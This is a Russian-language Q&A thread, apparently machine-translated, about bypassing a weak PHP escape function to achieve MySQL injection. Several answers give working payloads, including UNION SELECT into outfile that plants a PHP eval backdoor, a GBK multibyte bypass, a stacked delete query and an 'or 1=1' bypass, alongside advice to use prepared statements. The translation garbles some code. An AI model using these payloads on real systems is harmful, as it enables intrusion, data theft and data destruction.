Нашел слабую функцию escape для MySql, как ее использовать?

в приложении, над которым я работаю, я нашел слабую функцию эвакуации, чтобы предотвратить инъекцию. Я пытаюсь доказать это, но у меня проблемы с простым примером.

функция escape работает следующим образом (пример PHP).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("","\",$value);
  return $value;

}

Я понимаю, что это не касается значений, закодированных с использованием двойных кавычек ( " ), но все запросы построены с использованием одинарных кавычек (').

кто может победить этот побег функции?

требования:

  • строка в запросах всегда заключена в кавычки.
  • двойные кавычки не используются.
  • соединение MySQL установлено в UTF8.

простой пример:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

7 ответов


если вы просто замена ' С '' тогда вы можете использовать это, впрыснув \', а \'' и это позволит вам вырваться, потому что это дает вам "символьный литерал" одинарную кавычку и реальную одинарную кавычку. Однако, замена "\" С "\\" отрицает эту атаку. Двойная одинарная кавычка используется для" escape " одинарных кавычек для MS-SQL, но это не подходит для MySQL, но может работать.

следующий код доказывает что эта функция escape безопасна для всех, кроме три условия. Этот код переставляет все возможные варианты контрольных уставов и проверяет каждый из них, чтобы убедиться, что ошибка не возникает с одной кавычкой, заключенной в оператор select. Этот код был протестирован на MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\","\\",$value);
  return $value;

}

$chars=array("'","\","","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

уязвимое состояние 1: нет кавычек используемый.

mysql_query("select username from users where id=".escape($_GET['id']));

использовать:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

уязвимое состояние 2: используются двойные кавычки

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

использовать:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

уязвимое Условие 2: используются одинарные кавычки, однако используется альтернативный набор символов..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

использовать:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

вывод всегда использовать mysql_real_escape_string() как Escape-процедура для MySQL. Параметризованные библиотеки запросов, такие как pdo и adodb, всегда используют mysql_real_escape_string() при подключении к базе данных MySQL. addslashes() is ЛУЧШЕ процедуры побега, потому что он заботится об уязвимом состоянии 2. Следует отметить, что даже не mysql_real_escape_string() остановит условие 1, однако параметризованная библиотека запросов будет.


действительно, кроме того, вы можете попробовать что-то с UNION SELECT

магазин.РНР?productid=322

=>

магазин.РНР?productid=322 UNION выберите 1,2,3 от пользователей, где 1;--

для отображения информации из других таблиц.

конечно, вам придется изменить имя таблицы и номера внутри союза, чтобы соответствовать количеству столбцов, которые у вас есть. Это популярный способ извлечения данных, таких как имена пользователей admin и пароли.


функция escape не обрабатывает многобайтовые символы. Проверить http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string чтобы увидеть, как использовать эту функцию escape.

получайте удовольствие от взлома базы данных!


как насчет при работе с числами?

shop.php?productid=322 

становится

SELECT * FROM [Products] WHERE productid=322


shop.php?productid=322; delete from products;--

становится

SELECT * FROM [Products] WHERE productid=322; delete from products;--

(не все запросы построены с одинарными кавычками и строками)


поскольку вы используете UTF-8 в качестве кодировки, это может быть уязвимо для слишком длинной последовательности UTF-8. Символ Апострофа ( ' ), хотя обычно кодируется как 0x27, может быть закодирован как слишком длинная последовательность 0xc0 0xa7 (url-кодируется: %c0%a7). Escape-функция пропустит это, но MySQL может интерпретировать его таким образом, что вызывает SQL-инъекцию.

Как уже упоминалось, вы должны использовать mysql_real_escape_string минимум (легко исправить в вашем случае), который должен регулировать характер кодирование и другие вопросы для вас. Предпочтительно переключиться на использование подготовленных инструкций.


Я никогда не использовал PHP, однако, вы не можете использовать вызовы хранимых процедур вместо прямых операторов SQL? Это похоже на лучшую защиту от SQL-инъекции, чем попытка использовать функцию escape.

функция escape, однако, была бы полезна против вредоносного javascript.


как насчет...

\' or 1=1--

который следует расширить до:

\'' or 1=1--

таким образом, используя его для id в следующем запросе...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

в результате:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';